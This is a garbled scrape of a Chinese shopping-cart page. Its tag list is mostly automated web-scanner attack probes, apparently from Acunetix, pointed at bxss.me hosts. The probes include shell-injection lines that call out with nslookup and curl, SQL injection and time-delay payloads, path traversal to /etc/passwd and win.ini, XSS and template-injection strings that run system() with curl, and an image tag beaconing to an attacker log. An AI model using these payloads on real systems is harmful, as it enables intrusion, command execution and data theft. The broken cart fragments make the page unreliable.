>
购物车件 2 2删除 7 7删除 g g删除 T T删除 + +删除 3 3删除 2 2删除 删除 1 1删除 0 0删除 删除 0 0删除 0 0删除 删除 0 0删除 0 0删除 1 1删除 删除 删除 < <删除 i i删除 i i删除 i i删除 1 1删除 删除 1 1删除 1 1删除 0 0删除 删除 2 2删除 2 2删除 0 0删除 0 0删除 0 0删除 0 0删除 0 0删除 0 0删除 1 1删除 0 0删除 删除 - -删除 - -删除 0 0删除 删除 删除 0 0删除 0 0删除 0 0删除 f f删除 删除 删除 0 0删除 0 0删除 删除 删除 删除 删除 0 0删除 删除 删除 0 0删除 删除 删除 删除 b b删除 T T删除 共件商品，总计：￥去结算
2删除
7删除
g删除
T删除
+删除
3删除
删除
1删除
0删除
<删除
i删除
-删除
f删除
b删除
!(()&&!|*|*|[1] "+"A".concat(70-3).concat(22*4).concat(117).concat(68).concat(117).concat(70)+(require"socket" Socket.gethostbyname("hitym"+"livqnokf5beba.bxss.me.")[3].to_s)+"[1] "+response.write(9254197*9493789)+"[1] ".gethostbyname(lc("hitkd"."zclunhxuf5992.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(74).chr(117).chr(82)."[1] ";print(md5(31337));$a="[1] "dfbzzzzzzzzbbbccccdddeeexca".replace("z"[1] "o")[1] $(nslookup -q=cname hitxewiqtnfnxf2c52.bxss.me||curl hitxewiqtnfnxf2c52.bxss.me)[1] ${9999545+9999326}[1] ${@print(md5(31337))}[1] ${@print(md5(31337))}\[1] %63%61%6E%20%49%20%61%73%6B%20%79%6F%75%20%61%20%71%75%65%73%74%69%6F%6E%20%70%6C%65%61%73%65%3F%69%73%20%69%74%20%6F%6B%20%69%66%20%49%20%75%70%6C%6F%61%64%20%61%6E%20%69%6D%61%67%65%3F%3C%53%63%52%69%50%74%20%3E%76%6C%69%6E%289172%29%3C%2F%73%43%72%69%7[1] &(nslookup -q=cname hithunmxqtybh7595c.bxss.me||curl hithunmxqtybh7595c.bxss.me)&'\"`0&(nslookup -q=cname hithunmxqtybh7595c.bxss.me||curl hithunmxqtybh7595c.bxss.me)&`'[1] &(nslookup${IFS}-q${IFS}cname${IFS}hiteuwcmmxyxh5043d.bxss.me||curl${IFS}hiteuwcmmxyxh5043d.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hiteuwcmmxyxh5043d.bxss.me||curl${IFS}hiteuwcmmxyxh5043d.bxss.me)&`'[1] &echo dodksy$()\ rzscyy\nz^xyu||a #' &echo dodksy$()\ rzscyy\nz^xyu||a #|" &echo dodksy$()\ rzscyy\nz^xyu||a #[1] &nslookup -q=cname hitcfuqlyvswq32f91.bxss.me&'\"`0&nslookup -q=cname hitcfuqlyvswq32f91.bxss.me&`'[1] '"[1] '"()[1] '+'A'.concat(70-3).concat(22*4).concat(118).concat(87).concat(104).concat(66)+(require'socket' Socket.gethostbyname('hitna'+'lcpdmjzwb6f6f.bxss.me.')[3].to_s)+'[1] '+response.write(9254197*9493789)+'[1] '.gethostbyname(lc('hitrx'.'mzpaergr7a647.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(70).chr(116).chr(85).'[1] '.print(md5(31337)).'[1] ';print(md5(31337));$a='[1] 'A'.concat(70-3).concat(22*4).concat(101).concat(77).concat(120).concat(90)+(require'socket' Socket.gethostbyname('hitvm'+'jlqonont883de.bxss.me.')[3].to_s)[1] (nslookup -q=cname hitmnbkoexcgne7250.bxss.me||curl hitmnbkoexcgne7250.bxss.me))[1] (select 198766*667891)[1] )[1] )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))[1] -1 OR 3*2>5[1] -1 OR 3*2>5 --[1] -1 OR 3*2>999[1] -1 OR 3*2>999 --[1] -1 OR 5*5=25[1] -1 OR 5*5=25 --[1] -1 OR 5*5=26[1] -1 OR 5*5=26 --[1] -1" OR 3*2<5 or "xU9qKzpr"="[1] -1" OR 3*2>5 --[1] -1" OR 3*2>999 --[1] -1" OR 5*5=25 --[1] -1" OR 5*5=25 or "xU9qKzpr"="[1] -1" OR 5*5=26 --[1] -1" OR 5*5=26 or "xU9qKzpr"="[1] -1" OR 956=956 or "xU9qKzpr"="[1] -1' OR 282=282 or 'QN2V4DZ2'='[1] -1' OR 3*2<5 or 'QN2V4DZ2'='[1] -1' OR 3*2>5 --[1] -1' OR 3*2>999 --[1] -1' OR 5*5=25 --[1] -1' OR 5*5=25 or 'QN2V4DZ2'='[1] -1' OR 5*5=26 --[1] -1' OR 5*5=26 or 'QN2V4DZ2'='[1] ../../../../../../../../../../../../../../etc/passwd[1] ../../../../../../../../../../../../../../etc/shells[1] ../../../../../../../../../../../../../../windows/win.ini[1] ../can I ask you a question please?is it ok if I upload an image?[1] ./can I ask you a question please?is it ok if I upload an image?[1] /etc/shells[1] 12345'"\'\");|]* { < >[1] 15)||'[1] 17[1] 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>[1] ;(nslookup -q=cname hitkhihfhbxwt35375.bxss.me||curl hitkhihfhbxwt35375.bxss.me)|(nslookup -q=cname hitkhihfhbxwt35375.bxss.me||curl hitkhihfhbxwt35375.bxss.me)&(nslookup -q=cname hitkhihfhbxwt35375.bxss.me||curl hitkhihfhbxwt35375.bxss.me)[1] ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));[1] <!--[1] <%={{={@{#{${dfb}}%>[1] <a HrEF=http://xss.bxss.me></a>[1] <a HrEF=jaVaScRiPT:>[1] <th:t="${dfb}#foreach[1] @@9kjlb[1] bfg10484＜s1﹥s2ʺs3ʹhjl10484[1] bfgx2154[1] bxss.me[1] bxss.me/t/xss.html?%00[1] c:/windows/win.ini[1] can I ask you a question please?[1] can I ask you a question please?is it ok if I upload an image?[2] can I ask you a question please?is it ok if I upload an image?"&&sleep(27*1000)*pummjh&&"[1] can I ask you a question please?is it ok if I upload an image?"||sleep(27*1000)*odsoqo||"[1] can I ask you a question please?is it ok if I upload an image?&echo plsjmt$()\ jascnq\nz^xyu||a #' &echo plsjmt$()\ jascnq\nz^xyu||a #|" &echo plsjmt$()\ jascnq\nz^xyu||a #[1] can I ask you a question please?is it ok if I upload an image?<ScRiPt>vlin(9193)</sCripT>[1] can I ask you a question please?is it ok if I upload an image?&n972443=v926234[1] can I ask you a question please?is it ok if I upload an image?'"[1] can I ask you a question please?is it ok if I upload an image?'&&sleep(27*1000)*gaoori&&'[1] can I ask you a question please?is it ok if I upload an image?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)[1] can I ask you a question please?is it ok if I upload an image?'||sleep(27*1000)*bhmgxw||'[1] can I ask you a question please?is it ok if I upload an image?-1 waitfor delay '0:0:15' --[1] can I ask you a question please?is it ok if I upload an image?9330381[1] can I ask you a question please?is it ok if I upload an image?< ScRiPt >vlin(9850)</ScRiPt>[1] can I ask you a question please?is it ok if I upload an image?<ajZPRgC<[1] can I ask you a question please?is it ok if I upload an image?<aopZEdG x=9440>[1] can I ask you a question please?is it ok if I upload an image?<esi:include src="http://bxss.me/rpb.png"/>[1] can I ask you a question please?is it ok if I upload an image?<iframe src='data:text/html;base64[1] can I ask you a question please?is it ok if I upload an image?<ifRAme sRc=9428.com></IfRamE>[1] can I ask you a question please?is it ok if I upload an image?<img sRc='http://attacker-9764/log.php?[1] can I ask you a question please?is it ok if I upload an image?<ScR<ScRiPt>IpT>vlin(9758)</sCr<ScRiPt>IpT>[1] can I ask you a question please?is it ok if I upload an image?<script>vlin(9363)</script>9363[1] can I ask you a question please?is it ok if I upload an image?<script>vlin(9650)</script>[1] can I ask you a question please?is it ok if I upload an image?<W32WGO>TF7C0[!+!]</W32WGO>[1] can I ask you a question please?is it ok if I upload an image?<WXRECC>VX4XL[!+!]</WXRECC>[1] can I ask you a question please?is it ok if I upload an image?FT7IhcOt[1] can I ask you a question please?is it ok if I upload an image?pwSg2GPU'; waitfor delay '0:0:15' --[1] can I ask you a question please?is it ok if I upload an image?\u003CScRiPt\vlin(9214)\u003C/sCripT\u003E[1] can I ask you a question please?is it ok if I upload an image?|echo oejtek$()\ gkkoft\nz^xyu||a #' |echo oejtek$()\ gkkoft\nz^xyu||a #|" |echo oejtek$()\ gkkoft\nz^xyu||a #[1] can I ask you a question please?is it ok if I upload an image?}body{zzz:Expre/**/SSion(vlin(9823))}[1] dfb[[${98991*97996}]]xca[1] dfb__${98991*97996}__::.x[1] dfb{{98991*97996}}xca[1] dNU59cFj[1] echo oacrfu$()\ pgemtl\nz^xyu||a #' &echo oacrfu$()\ pgemtl\nz^xyu||a #|" &echo oacrfu$()\ pgemtl\nz^xyu||a #[1] expr 9000543351 - 930590[1] file:///etc/passwd[1] gethostbyname(lc('hitbd'.'wndrcuttfc2b3.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(76).chr(99).chr(79)[1] hqpFi6Oc: 3bmZ36gc[1] Http://bxss.me/t/fit.txt[1] http://bxss.me/t/fit.txt?.jpg[1] HttP://bxss.me/t/xss.html?%00[1] http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg[1] PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9135'>[1] redirtest.acx[1] response.write(9254197*9493789)[1] xfs.bxss.me[1] ^(#$!@#$)(()))******[1] `(nslookup -q=cname hitozvtpeiqkn6ef1f.bxss.me||curl hitozvtpeiqkn6ef1f.bxss.me)`[1] {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitharekzgfbgcea75.bxss.me")}}[1] |(nslookup -q=cname hitbxgcxpxwpm4ba94.bxss.me||curl hitbxgcxpxwpm4ba94.bxss.me)[1] |(nslookup${IFS}-q${IFS}cname${IFS}hitjohvojrzocdbbb0.bxss.me||curl${IFS}hitjohvojrzocdbbb0.bxss.me)[1] |echo ppuhpf$()\ zqonxm\nz^xyu||a #' |echo ppuhpf$()\ zqonxm\nz^xyu||a #|" |echo ppuhpf$()\ zqonxm\nz^xyu||a #[1]
